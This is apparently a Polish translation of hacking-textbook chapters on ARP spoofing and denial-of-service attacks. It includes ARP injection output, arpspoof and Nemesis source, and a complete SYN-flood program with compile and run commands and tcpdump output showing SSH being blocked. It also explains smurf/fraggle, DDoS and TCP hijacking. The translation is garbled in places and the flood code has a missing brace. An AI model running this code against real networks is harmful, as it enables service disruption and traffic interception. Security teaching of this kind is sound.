ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)

[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30

[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.1 > 192.168.0.118

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30

[ARP opcode] Reply

[ARP hardware fmt] Ethernet (1)

[ARP proto format] IP (0x0800)

[ARP protocol len] 6

[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)

[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01

[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.118 > 192.168.0.1

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01

[ARP opcode] Reply

[ARP hardware fmt] Ethernet (1)

[ARP proto format] IP (0x0800)

[ARP protocol len] 6

[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected

Redirecting...

Możesz zobaczyć, jak coś tak prostego jak Nemesis i standardowa powłoka BASH może być użyta do szybkiego zhackowania exploita sieciowego. Nemesis używa biblioteki C zwanej libnet do tworzenia fałszywych pakietów i wstrzykiwania ich. Podobnie jak biblioteka libpcap, biblioteka ta wykorzystuje surowe gniazda i wyrównuje niespójności między platformami ze standardowym interfejsem. libnet zapewnia również kilka wygodnych funkcji do obsługi pakietów sieciowych, takich jak generowanie sum kontrolnych. Biblioteka libnet zapewnia prosty i jednolity interfejs API do tworzenia i wstrzykiwania pakietów sieciowych. Jest dobrze udokumentowany, a funkcje mają opisowe nazwy. Rzut oka na kod źródłowy Nemezis pokazuje, jak łatwo jest tworzyć pakiety ARP za pomocą libnet. Plik źródłowy nemesis-arp.c zawiera kilka funkcji do wytwarzania i wstrzykiwania pakietów ARP, wykorzystując statycznie zdefiniowane struktury danych dla informacji nagłówka pakietu. Funkcja nemesis_arp () pokazana poniżej jest wywoływana w nemesis.c w celu zbudowania i wstrzyknięcia pakietu ARP.

Od nemesis-arp.c

static ETHERhdr etherhdr;

static ARPhdr arphdr;

...

void nemesis_arp(int argc, char **argv)

{

const char *module= "ARP/RARP Packet Injection";

nemesis_maketitle(title, module, version);

if (argc > 1 && !strncmp(argv[1], "help", 4))

arp_usage(argv[0]);

arp_initdata();

arp_cmdline(argc, argv);

arp_validatedata();

arp_verbose();

if (got_payload)

{

if (builddatafromfile(ARPBUFFSIZE, &pd, (const char *)file,

(const u_int32_t)PAYLOADMODE) < 0)

arp_exit(1);

}

if (buildarp(ðerhdr, &arphdr, &pd, device, reply) < 0)

{

printf("\n%s Injection Failure\n", (rarp == 0 ? "ARP" : "RARP"));

arp_exit(1);

}

else

{

printf("\n%s Packet Injected\n", (rarp == 0 ? "ARP" : "RARP"));

arp_exit(0);

}

}

Struktury ETHERhdr i ARPhdr są zdefiniowane w pliku nemesis.h (pokazanym poniżej) jako aliasy dla istniejącej struktury danych libnet. W C, typedef jest używany do aliasów typu danych z symbolem

nemesis.h

typedef struct libnet_arp_hdr ARPhdr;

typedef struct libnet_as_lsa_hdr ASLSAhdr;

typedef struct libnet_auth_hdr AUTHhdr;

typedef struct libnet_dbd_hdr DBDhdr;

typedef struct libnet_dns_hdr DNShdr;

typedef struct libnet_ethernet_hdr ETHERhdr;

typedef struct libnet_icmp_hdr ICMPhdr;

typedef struct libnet_igmp_hdr IGMPhdr;

typedef struct libnet_ip_hdr IPhdr;

Funkcja nemesis_arp () wywołuje serię innych funkcji z tego pliku: arp_initdata (), arp_cmdline (), arp_validatedata () i arp_verbose (). Prawdopodobnie możesz odgadnąć, że te funkcje inicjują dane, przetwarzają argumenty wiersza poleceń, sprawdzają poprawność danych i sporządzają szczegółowe raporty. Funkcja arp_initdata () robi dokładnie to, inicjując wartości w statycznie zadeklarowanych strukturach danych. Przedstawiona poniżej funkcja arp_initdata () ustawia różne elementy struktur nagłówka na odpowiednie wartości dla pakietu ARP.

Od nemesis-arp.c

static void arp_initdata(void)

{

/* defaults */

etherhdr.ether_type = ETHERTYPE_ARP; /* Ethernet type ARP */

memset(etherhdr.ether_shost, 0, 6); /* Ethernet source address */

memset(etherhdr.ether_dhost, 0xff, 6); /* Ethernet destination address */

arphdr.ar_op = ARPOP_REQUEST; /* ARP opcode: request */

arphdr.ar_hrd = ARPHRD_ETHER; /* hardware format: Ethernet */

arphdr.ar_pro = ETHERTYPE_IP; /* protocol format: IP */

arphdr.ar_hln = 6; /* 6 byte hardware addresses */

arphdr.ar_pln = 4; /* 4 byte protocol addresses */

memset(arphdr.ar_sha, 0, 6); /* ARP frame sender address */

memset(arphdr.ar_spa, 0, 4); /* ARP sender protocol (IP) addr */

memset(arphdr.ar_tha, 0, 6); /* ARP frame target address */

memset(arphdr.ar_tpa, 0, 4); /* ARP target protocol (IP) addr */

pd.file_mem = NULL;

pd.file_s = 0;

return;

}

Wreszcie, funkcja nemesis_arp () wywołuje funkcję buildarp () ze wskaźnikami do struktur danych nagłówka. Sądząc po sposobie obsługi wartości zwracanej przez buildarp (), buildarp () buduje pakiet i wstrzykuje go. Ta funkcja znajduje się w jeszcze innym pliku źródłowym, nemesis-proto_arp.c.

nemesis-proto_arp.c

int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char *device,

int reply)

{

int n = 0;

u_int32_t arp_packetlen;

static u_int8_t *pkt;

struct libnet_link_int *l2 = NULL;

/* validation tests */

if (pd->file_mem == NULL)

pd->file_s = 0;

arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s;

#ifdef DEBUG

printf("DEBUG: ARP packet length %u.\n", arp_packetlen);

printf("DEBUG: ARP payload size %u.\n", pd->file_s);

#endif

if ((l2 = libnet_open_link_interface(device, errbuf) ) == NULL)

{

nemesis_device_failure(INJECTION_LINK, (const char *)device);

return -1;

}

if (libnet_init_packet(arp_packetlen, &pkt) == -1)

{

fprintf(stderr, "ERROR: Unable to allocate packet memory.\n"); return -1;

}

libnet_build_ethernet(eth->ether_dhost, eth->ether_shost, eth->ether_type,

NULL, 0, pkt);

libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln, arp->ar_pln,

arp->ar_op, arp->ar_sha, arp->ar_spa, arp->ar_tha, arp->ar_tpa,

pd->file_mem, pd->file_s, pkt + LIBNET_ETH_H);

n = libnet_write_link_layer(l2, device, pkt, LIBNET_ETH_H +

LIBNET_ARP_H + pd->file_s);

if (verbose == 2)

nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE);

if (verbose == 3)

nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE);

if (n != arp_packetlen)

{

fprintf(stderr, "ERROR: Incomplete packet injection. Only "

"wrote %d bytes.\n", n);

}

else

{

if (verbose)

{

if (memcmp(eth->ether_dhost, (void *)&one, 6))

{

printf("Wrote %d byte unicast ARP request packet through "

"linktype %s.\n", n,

nemesis_lookup_linktype(l2->linktype));

}

else

{

printf("Wrote %d byte %s packet through linktype %s.\n", n,

(eth->ether_type == ETHERTYPE_ARP ? "ARP" : "RARP"),

nemesis_lookup_linktype(l2->linktype));

}

}

}

libnet_destroy_packet(&pkt);

if (l2 != NULL)

libnet_close_link_interface(l2);

return (n);

}

Na wysokim poziomie ta funkcja powinna być czytelna dla Ciebie. Używając funkcji libnet, otwiera interfejs łącza i inicjalizuje pamięć dla pakietu. Następnie tworzy warstwę Ethernet za pomocą elementów ze struktury danych nagłówka Ethernet, a następnie robi to samo dla warstwy ARP. Następnie zapisuje pakiet do urządzenia, aby go wstrzyknąć, a na koniec czyści, niszcząc pakiet i zamykając interfejs. Dokumentacja tych funkcji ze strony podręcznika man jest pokazana poniżej dla jasności.

libnet Man Page

libnet_open_link_interface() opens a low-level packet interface. This is

required to write link layer frames. Supplied is a u_char pointer to the

interface device name and a u_char pointer to an error buffer. Returned is a

filled in libnet_link_int struct or NULL on error.

libnet_init_packet() initializes a packet for use. If the size parameter is

omitted (or negative) the library will pick a reasonable value for the user

(currently LIBNET_MAX_PACKET). If the memory allocation is successful, the

memory is zeroed and the function returns 1. If there is an error, the

function returns -1. Since this function calls malloc, you certainly should,

at some point, make a corresponding call to destroy_packet().

libnet_build_ethernet() constructs an ethernet packet. Supplied is the

destination address, source address (as arrays of unsigned characterbytes)

and the ethernet frame type, a pointer to an optional data payload, the

payload length, and a pointer to a pre-allocated block of memory for the

packet. The ethernet packet type should be one of the following:

Value Type

ETHERTYPE_PUP PUP protocol

ETHERTYPE_IP IP protocol

ETHERTYPE_ARP ARP protocol

ETHERTYPE_REVARP Reverse ARP protocol

ETHERTYPE_VLAN IEEE VLAN tagging

ETHERTYPE_LOOPBACK Used to test interfaces

libnet_build_arp() constructs an ARP (Address Resolution Protocol) packet.

Supplied are the following: hardware address type, protocol address type, the

hardware address length, the protocol address length, the ARP packet type, the

sender hardware address, the sender protocol address, the target hardware

address, the target protocol address, the packet payload, the payload size,

and finally, a pointer to the packet header memory. Note that this function

only builds ethernet/IP ARP packets, and consequently the first value should

be ARPHRD_ETHER. The ARP packet type should be one of the following:

ARPOP_REQUEST, ARPOP_REPLY, ARPOP_REVREQUEST, ARPOP_REVREPLY,

ARPOP_INVREQUEST, or ARPOP_INVREPLY.

libnet_destroy_packet() frees the memory associated with the packet.

ibnet_close_link_interface () zamyka otwarty interfejs pakietów niskiego poziomu.

Zwrócono 1 po sukcesie lub -1 przy błędzie. Dzięki podstawowemu rozumieniu dokumentacji C, API i zdrowego rozsądku możesz uczyć się samodzielnie, badając projekty open source. Na przykład, Dug Song udostępnia program o nazwie arpspoof, dołączony do dsniff, który wykonuje atak przekierowania ARP. arpspoof Man Page

NAME

arpspoof - intercept packets on a switched LAN

SYNOPSIS

arpspoof [-i interface] [-t target] host

DESCRIPTION

arpspoof redirects packets from a target host (or all hosts) on the LAN

intended for another host on the LAN by forging ARP replies. This is

an extremely effective way of sniffing traffic on a switch.

Kernel IP forwarding (or a userland program which accomplishes the

same, e.g. fragrouter(8)) must be turned on ahead of time.

OPTIONS

-i interface

Specify the interface to use.

-t target

Specify a particular host to ARP poison (if not specified, all

hosts on the LAN).

host Specify the host you wish to intercept packets for (usually the

local gateway).

SEE ALSO

dsniff(8), fragrouter(8)

AUTHOR

Dug Song < dugsong@monkey.org >

Magia tego programu wywodzi się z jego funkcji arp_send (), która również używa libnet do parodowania pakietów. Kod źródłowy tej funkcji powinien być czytelny dla ciebie, ponieważ użyto wielu z poprzednio objaśnionych funkcji libnet (pogrubione poniżej). Zastosowanie struktur i bufora błędów również powinno być znane.4.4.4.7. arpspoof.c

static struct libnet_link_int *llif;

static struct ether_addr spoof_mac, target_mac;

static in_addr_t spoof_ip, target_ip;

...

int

arp_send(struct libnet_link_int *llif, char *dev,

int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)

{

char ebuf[128];

u_char pkt[60];

if (sha == NULL &&

(sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {

return (-1);

}

if (spa == 0) {

if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)

return (-1);

spa = htonl(spa); /* XXX */

}

if (tha == NULL)

tha = "\xff\xff\xff\xff\xff\xff";

libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);

libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,

op, sha, (u_char *)&spa, tha, (u_char *)&tpa,

NULL, 0, pkt + ETH_H);

fprintf(stderr, "%s ",

ether_ntoa((struct ether_addr *)sha));

if (op == ARPOP_REQUEST) {

fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",

ether_ntoa((struct ether_addr *)tha),

libnet_host_lookup(tpa, 0),

libnet_host_lookup(spa, 0));

}

else {

fprintf(stderr, "%s 0806 42: arp reply %s is-at ",

ether_ntoa((struct ether_addr *)tha),

libnet_host_lookup(spa, 0));

fprintf(stderr, "%s\n",

ether_ntoa((struct ether_addr *)sha));

}

return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));

}

Pozostałe funkcje libnet pobierają adresy sprzętowe, pobierają adres IP i wyszukują hosty. Funkcje te mają opisowe nazwy i są szczegółowo objaśnione na stronie podręcznika libnet.

libnet Man Page

libnet_get_hwaddr() takes a pointer to a link layer interface struct, a

pointer to the network device name, and an empty buffer to be used in case of

error. The function returns the MAC address of the specified interface upon

success or 0 upon error (and errbuf will contain a reason).

libnet_get_ipaddr() takes a pointer to a link layer interface struct, a

pointer to the network device name, and an empty buffer to be used in case of

error. Upon success the function returns the IP address of the specified

interface in host-byte order or 0 upon error (and errbuf will contain a

reason).

libnet_host_lookup() converts the supplied network-ordered (big-endian) IPv4

address into its human-readable counterpart. If use_name is 1,

libnet_host_lookup() will attempt to resolve this IP address and return a hostname, otherwise (or if the lookup fails), the function returns a dotteddecimal ASCII string. Gdy nauczysz się czytać kod C, istniejące programy mogą Cię wiele nauczyć. Biblioteki programistyczne takie jak libnet i libpcap zawierają mnóstwo dokumentacji, która wyjaśnia wszystkie szczegóły, których może nie być w stanie odgadnąć z samego źródła. Celem jest nauczenie cię, jak uczyć się z kodu źródłowego, a nie tylko nauczyć się korzystać z kilku bibliotek. W końcu istnieje wiele innych bibliotek i wiele istniejącego kodu źródłowego, który je wykorzystuje.

Powrót

17.08.2020

Denial of Service

Jedną z najprostszych form ataku sieciowego jest atak Denial of Service (DoS). Zamiast próbować wykraść informacje, atak DoS po prostu uniemożliwia dostęp do usługi lub zasobu. Istnieją dwie ogólne formy ataków typu DoS: te, które powodują awarię usług i te, które powodują zalanie usług. Ataki Denial of Service, które powodują awarie, są bardziej podobne do exploitów programowych niż sieciowych exploitów. Często ataki te zależą od słabej implementacji przez określonego dostawcę. Przepełnienie bufora, które przepadło, zazwyczaj powoduje awarię programu docelowego, zamiast kierować strumień wykonania do wstrzykiwanego kodu powłoki. Jeśli ten program znajduje się na serwerze, nikt inny nie może uzyskać dostępu do tego serwera po awarii. Ataki typu DoS powodujące takie ataki są ściśle powiązane z pewnym programem i pewną wersją. Ponieważ system operacyjny obsługuje stos sieciowy, awaria w tym kodzie spowoduje usunięcie jądra, odmawiając usługi całej maszynie. Wiele z tych luk już dawno zostało załatanych na nowoczesnych systemach operacyjnych, ale nadal warto zastanowić się, w jaki sposób można zastosować te techniki w różnych sytuacjach.



Powrót

18.08.2020

SYN Flooding

Powódź SYN próbuje wyładować stany w stosie TCP / IP. Ponieważ TCP utrzymuje "niezawodne" połączenia, każde połączenie musi być gdzieś śledzone. Stos TCP / IP w jądrze obsługuje to, ale ma skończoną tabelę, która może śledzić tylko tyle połączeń przychodzących. Powódź SYN wykorzystuje podszywanie się, aby skorzystać z tego ograniczenia. Atakujący zalewa system ofiary wieloma pakietami SYN, używając fałszywego nieistniejącego adresu źródłowego. Ponieważ pakiet SYN jest używany do zainicjowania połączenia TCP, komputer ofiary wyśle pakiet SYN / ACK na podany adres w odpowiedzi i czeka na oczekiwaną odpowiedź ACK. Każde z tych oczekujących, półotwartych połączeń przechodzi do kolejki zaległości, która ma ograniczoną przestrzeń. Ponieważ sfałszowane adresy źródłowe w rzeczywistości nie istnieją, odpowiedzi ACK są potrzebne, aby usunąć te wpisy z kolejki i zakończyć połączenia nigdy chodź. Zamiast tego każde pół-otwarte połączenie musi upłynąć, co zajmuje stosunkowo dużo czasu. Dopóki atakujący nadal zaleje system ofiary fałszywymi pakietami SYN, kolejka zalegania ofiary pozostanie pełna, przez co rzeczywiste pakiety SYN będą mogły dostać się do systemu i zainicjować poprawne połączenia TCP / IP. Używając kodu źródłowego Nemesis i arpspoof jako odniesienia, powinieneś być w stanie napisać program, który wykona ten atak. Poniższy przykładowy program korzysta z funkcji pobierania danych pobranych z kodu źródłowego i funkcji gniazd opisanych wcześniej. Kod źródłowy Nemesis wykorzystuje funkcję libnet_get_prand () w celu uzyskania liczb pseudolosowych dla różnych pól IP. Funkcja libnet_seed_prand () jest używana do inicjowania randomizera. Te funkcje są podobnie używane poniżej.

synflood.c

#include < libnet.h >

#define FLOOD_DELAY 5000 // Delay between packet injects by 5000 ms.

/* Returns an IP in x.x.x.x notation */

char *print_ip(u_long *ip_addr_ptr) {

return inet_ntoa( *((struct in_addr *)ip_addr_ptr) );

}

int main(int argc, char *argv[]) {

u_long dest_ip;

u_short dest_port;

u_char errbuf[LIBNET_ERRBUF_SIZE], *packet;

int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;

if(argc < 3)

{

printf("Usage:\n%s\t < target host > < target port >\n", argv[0]);

exit(1);

}

dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // The host

dest_port = (u_short) atoi(argv[2]); // The port

network = libnet_open_raw_sock(IPPROTO_RAW); // Open network interface.

if (network == -1)

libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program

must run

as root.\n");

libnet_init_packet(packet_size, &packet); // Allocate memory for packet.

if (packet == NULL)

libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");

libnet_seed_prand(); // Seed the random number generator.

printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip));

while(1) // loop forever (until break by CTRL-C)

{

libnet_build_ip(LIBNET_TCP_H, // Size of the packet sans IP header.

IPTOS_LOWDELAY, // IP tos

libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)

0, // Frag stuff

libnet_get_prand(LIBNET_PR8), // TTL (randomized)

IPPROTO_TCP, // Transport protocol

libnet_get_prand(LIBNET_PRu32), // Source IP (randomized)

dest_ip, // Destination IP

NULL, // Payload (none)

0, // Payload length

packet); // Packet header memory

libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Source TCP port (random)

dest_port, // Destination TCP port

libnet_get_prand(LIBNET_PRu32), // Sequence number (randomized)

libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)

TH_SYN, // Control flags (SYN flag set only)

libnet_get_prand(LIBNET_PRu16), // Window size (randomized)

0, // Urgent pointer

NULL, // Payload (none)

0, // Payload length

packet + LIBNET_IP_H); // Packet header memory

if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)

libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");

byte_count = libnet_write_ip(network, packet, packet_size); // Inject packet.

if (byte_count < packet_size)

libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d v bytes)", byte_count, packet_size);

usleep(FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds.

libnet_destroy_packet(&packet); // Free packet memory.

if (libnet_close_raw_sock(network) == -1) // Close the network interface.

libnet_error(LIBNET_ERR_WARNING, "can't close network interface.");

return 0;

}

Ten program używa funkcji print_ip () do obsługi konwersji typu u_long, używanego przez libnet do przechowywania adresów IP, do typu struktury oczekiwanego przez inet_ntoa (). Wartość się nie zmienia - krój typowania tylko komplikuje. Obecna wersja libnet jest w wersji 1.1, która jest niekompatybilna z libnet 1.0. Jednak Nemesis i arpspoof wciąż opierają się na 1.0 wersji libnet, więc ta wersja jest zawarta w LiveCD i jest to również to, czego użyjemy w naszym programie synflood. Podobnie do kompilacji z libpcap, podczas kompilacji z libnet używana jest flaga -lnet. Jednak nie jest to wystarczająca ilość informacji dla kompilatora, jak pokazuje poniższy wynik.

reader@hacking:~/booksrc $ gcc -o synflood synflood.c -lnet

In file included from synflood.c:1:

/usr/include/libnet.h:87:2: #error "byte order has not been specified, you'll"

synflood.c:6: error: syntax error before string constant

reader@hacking:~/booksrc $

Kompilator wciąż nie działa, ponieważ należy ustawić kilka obowiązkowych flag definicji dla biblioteki libnet. W zestawie z libnet, program o nazwie libnet-config wyświetli te flagi.

reader@hacking:~/booksrc $ libnet-config --help

Usage: libnet-config [OPTIONS]

Options:

[--libs]

[--cflags]

[--defines]

reader@hacking:~/booksrc $ libnet-config --defines

-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H

-DLIBNET_LIL_ENDIAN

Using the BASH shell's command substitution in both, these defines can be dynamically inserted into the

compile command.

reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o synflood

synflood.c -lnet

reader@hacking:~/booksrc $ ./synflood

Usage:

./synflood < target host > < target port >

reader@hacking:~/booksrc $

reader@hacking:~/booksrc $ ./synflood 192.168.42.88 22

Fatal: can't open network interface. -- this program must run as root.

reader@hacking:~/booksrc $ sudo ./synflood 192.168.42.88 22

SYN Flooding port 22 of 192.168.42.88..

W powyższym przykładzie host 192.168.42.88 jest komputerem z systemem Windows XP, na którym działa serwer openssh na porcie 22 przez cygwin. Poniższe wyjście tcpdump pokazuje sfałszowane pakiety SYN zalewające hosta od pozornie losowych adresów IP. Podczas działania programu nie można nawiązywać poprawnych połączeń z tym portem.

reader@hacking:~/booksrc $ sudo tcpdump -i eth0 -nl -c 15 "host 192.168.42.88"

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

17:08:16.334498 IP 121.213.150.59.4584 > 192.168.42.88.22: S

751659999:751659999(0) win 14609

17:08:16.346907 IP 158.78.184.110.40565 > 192.168.42.88.22: S

139725579:139725579(0) win 64357

17:08:16.358491 IP 53.245.19.50.36638 > 192.168.42.88.22: S

322318966:322318966(0) win 43747

17:08:16.370492 IP 91.109.238.11.4814 > 192.168.42.88.22: S

685911671:685911671(0) win 62957

17:08:16.382492 IP 52.132.214.97.45099 > 192.168.42.88.22: S

71363071:71363071(0) win 30490

17:08:16.394909 IP 120.112.199.34.19452 > 192.168.42.88.22: S

1420507902:1420507902(0) win 53397

17:08:16.406491 IP 60.9.221.120.21573 > 192.168.42.88.22: S

2144342837:2144342837(0) win 10594

17:08:16.418494 IP 137.101.201.0.54665 > 192.168.42.88.22: S

1185734766:1185734766(0) win 57243

17:08:16.430497 IP 188.5.248.61.8409 > 192.168.42.88.22: S

1825734966:1825734966(0) win 43454

17:08:16.442911 IP 44.71.67.65.60484 > 192.168.42.88.22: S

1042470133:1042470133(0) win 7087

17:08:16.454489 IP 218.66.249.126.27982 > 192.168.42.88.22: S

1767717206:1767717206(0) win 50156

17:08:16.466493 IP 131.238.172.7.15390 > 192.168.42.88.22: S

2127701542:2127701542(0) win 23682

17:08:16.478497 IP 130.246.104.88.48221 > 192.168.42.88.22: S

2069757602:2069757602(0) win 4767

17:08:16.490908 IP 140.187.48.68.9179 > 192.168.42.88.22: S

1429854465:1429854465(0) win 2092

17:08:16.502498 IP 33.172.101.123.44358 > 192.168.42.88.22: S

1524034954:1524034954(0) win 26970

15 packets captured

30 packets received by filter

0 packets dropped by kernel

reader@hacking:~/booksrc $ ssh -v 192.168.42.88

OpenSSH_4.3p2, OpenSSL 0.9.8c 05 Sep 2006

debug1: Reading configuration data /etc/ssh/ssh_config

debug1: Connecting to 192.168.42.88 [192.168.42.88] port 22.

debug1: connect to address 192.168.42.88 port 22: Connection refused

ssh: connect to host 192.168.42.88 port 22: Connection refused

reader@hacking:~/booksrc $

Niektóre systemy operacyjne (na przykład Linux) używają techniki zwanej syncookies, aby zapobiec atakom typu SYN flood. Stos TCP używający syncookies dostosowuje początkowy numer potwierdzenia dla odpowiadającego pakietu SYN / ACK za pomocą wartości opartej na szczegółach hosta i czasie (aby zapobiec atakom powtórki). Połączenia TCP w rzeczywistości nie stają się aktywne, dopóki nie zostanie sprawdzony ostateczny pakiet ACK dla uzgadniania TCP. Jeśli numer sekwencji się nie zgadza lub ACK nigdy nie nadejdzie, połączenie nigdy nie zostanie utworzone. Pomaga to zapobiec fałszywym próbom połączeń, ponieważ pakiet ACK wymaga przesłania informacji do do adresu źródłowego początkowego pakietu SYN.

Powrót

19.08.2020

Ping of Death

Zgodnie ze specyfikacją ICMP, komunikaty echa ICMP mogą mieć tylko 216 lub 65 536 bajtów danych w części danych pakietu. Część danych pakietów ICMP jest często pomijana, ponieważ ważne informacje znajdują się w nagłówku. Kilka systemów operacyjnych uległo awarii, jeśli wysłano komunikaty echa ICMP, które przekraczały określony rozmiar. Komunikat echa ICMP tego gigantycznego rozmiaru został pieszczotliwie nazwany "Ping of Death". Był to bardzo prosty hack wykorzystujący istniejącą lukę, ponieważ nikt nigdy nie rozważał tej możliwości. Powinno być łatwo napisać program wykorzystujący libnet, który może wykonać ten atak; jednak nie będzie to przydatne w prawdziwym świecie. Nowoczesne systemy są zabezpieczone przed tą luką. Historia jednak się powtarza. Mimo że zbyt duże pakiety ICMP nie powodują awarii komputerów, nowe technologie czasami mają podobne problemy. Protokół Bluetooth, powszechnie używany w telefonach, ma podobny pakiet ping na warstwie L2CAP, który jest również używany do pomiaru czasu komunikacji na ustalonych łączach. Wiele implementacji Bluetooth cierpi na ten sam zbyt duży problem z pakietem ping. Adam Laurie, Marcel Holtmann i Martin Herfurt nazwali ten atak Bluesmack i wydali kod źródłowy o tej samej nazwie, który wykonuje ten atak.

Powrót

20.08.2020

Teardrop

Kolejny atak typu DoS, który nastąpił z tego samego powodu, nazywano łzą. Teardrop wykorzystał kolejną słabość w implementacjach fragmentacji IP przez kilku dostawców. Zwykle, gdy pakiet jest pofragmentowany, przesunięcia zapisane w nagłówku zostaną wyrównane, aby zrekonstruować oryginalny pakiet bez nakładania się. Atak na łzy wysłał fragmenty pakietów z nakładającymi się przesunięciami, co spowodowało implementacje, które nie sprawdziły, czy ten nieregularny stan nieuchronnie ulegnie awarii. Chociaż ten konkretny atak już nie działa, zrozumienie pojęcia może ujawnić problemy w innych obszarach. Chociaż nie jest to ograniczone do Denial of Service, niedawny zdalny exploit w jądrze OpenBSD (który szczyci się bezpieczeństwem) miał do czynienia z pofragmentowanymi pakietami IPv6. Wersja IP 6 używa bardziej skomplikowanych nagłówków, a nawet innego formatu adresu IP niż IPv4, który większość ludzi zna. Często popełniane są te same błędy w przeszłości są powtarzane przez wczesne wdrażanie nowych produktów.

Powrót

21.08.2020

Ping Flooding

Ataki powodziowe DoS nie próbują koniecznie niszczyć usługi lub zasobu, ale zamiast tego próbują go przeciążać, aby nie mógł odpowiedzieć. Podobne ataki mogą wiązać inne zasoby, takie jak cykle procesora i procesy systemowe, ale atak powodziowy szczególnie próbuje powiązać zasób sieciowy. Najprostszą formą powodzi jest po prostu ping powódź. Celem jest wykorzystanie przepustowości ofiary, aby legalny ruch nie mógł się przedostać. Atakujący wysyła wiele dużych pakietów ping do ofiary, które pożerają przepustowość połączenia sieciowego ofiary. Nie ma nic mądrego w tym ataku - to tylko walka o przepustowość. Atakujący o większej przepustowości niż ofiara może wysyłać więcej danych, niż ofiara może otrzymać, a tym samym uniemożliwiać innym legalnym ruchom dotarcie do ofiary.

Powrót

22.08.2020

Ataki wzmacniające

W rzeczywistości istnieje kilka sprytnych sposobów na wykonanie powodzi pingowej bez użycia ogromnej ilości pasma. Atak wzmacniający wykorzystuje spoofing i adresowanie rozgłoszeniowe w celu wzmocnienia pojedynczego strumienia pakietów stokrotnie. Najpierw należy znaleźć docelowy system amplifikacji. Jest to sieć, która umożliwia komunikację z adresem rozgłoszeniowym i ma stosunkowo dużą liczbę aktywnych hostów. Następnie atakujący wysyła duże pakiety żądań echa ICMP do adresu rozgłoszeniowego sieci wzmacniającej, ze sfałszowanym adresem źródłowym systemu ofiary. Wzmacniacz będzie transmitował te pakiety do wszystkich hostów w sieci wzmacniającej, które następnie wyślą odpowiednie pakiety odpowiedzi echa ICMP na sfałszowany adres źródłowy (tj. Na maszynę ofiary). To wzmocnienie ruchu pozwala atakującemu na wysłanie stosunkowo małego strumienia pakietów żądań echa ICMP, podczas gdy ofiara zostaje zalana do kilkuset razy więcej pakietów odpowiedzi echa ICMP. Atak ten można wykonać zarówno za pomocą pakietów ICMP, jak i pakietów echa UDP. Techniki te znane są odpowiednio jako ataki smurf i fraggle.

Powrót

23.08.2020

Powódź rozproszona DoS

Atak rozproszony DoS (DDoS) jest rozproszoną wersją ataku powodziowego DoS. Ponieważ zużycie przepustowości jest celem ataku powodziowego DoS, im większa jest przepustowość, z jaką atakujący może pracować, tym więcej szkód mogą zrobić. W ataku DDoS atakujący najpierw atakuje wiele innych hostów i instaluje na nich demony. Systemy instalowane z takim oprogramowaniem są powszechnie nazywane botami i tworzą tzw. Botnet. Te boty cierpliwie czekają, aż atakujący wybierze ofiarę i zdecyduje się na atak. Atakujący używa pewnego rodzaju programu kontrolującego, a wszystkie boty atakują jednocześnie ofiarę za pomocą jakiejś formy ataku DoS. Ogromna liczba rozproszonych hostów nie tylko zwielokrotnia efekt powodzi, ale także znacznie utrudnia śledzenie źródła ataku.

Powrót

24.08.2020

Przejęcie TCP / IP

Przejęcie protokołu TCP / IP to sprytna technika, która wykorzystuje sfałszowane pakiety do przejęcia połączenia między ofiarą a komputerem hosta. Ta technika jest wyjątkowo przydatna, gdy ofiara używa jednorazowego hasła do połączenia się z komputerem hosta. Jednorazowe hasło może zostać użyte do uwierzytelnienia raz i tylko raz, co oznacza sniffowanie uwierzytelnienia jest bezużyteczne dla atakującego. Aby przeprowadzić atak przejmujący TCP / IP, osoba atakująca musi znajdować się w tej samej sieci, co ofiara. Poprzez wąchanie lokalnego segmentu sieci, wszystkie szczegóły otwartych połączeń TCP mogą zostać pobrane z nagłówków. Tak jak my widziane, każdy pakiet TCP zawiera numer sekwencji w nagłówku. Ten numer sekwencyjny jest zwiększany wraz z każdym wysłanym pakietem, aby zapewnić, że pakiety są odbierane we właściwej kolejności. Podczas wąchania atakujący ma dostęp do numerów sekwencji dla połączenia między ofiarą (system A na poniższej ilustracji) a hostem maszyna (system B). Następnie atakujący wysyła sfałszowany pakiet z adresu IP 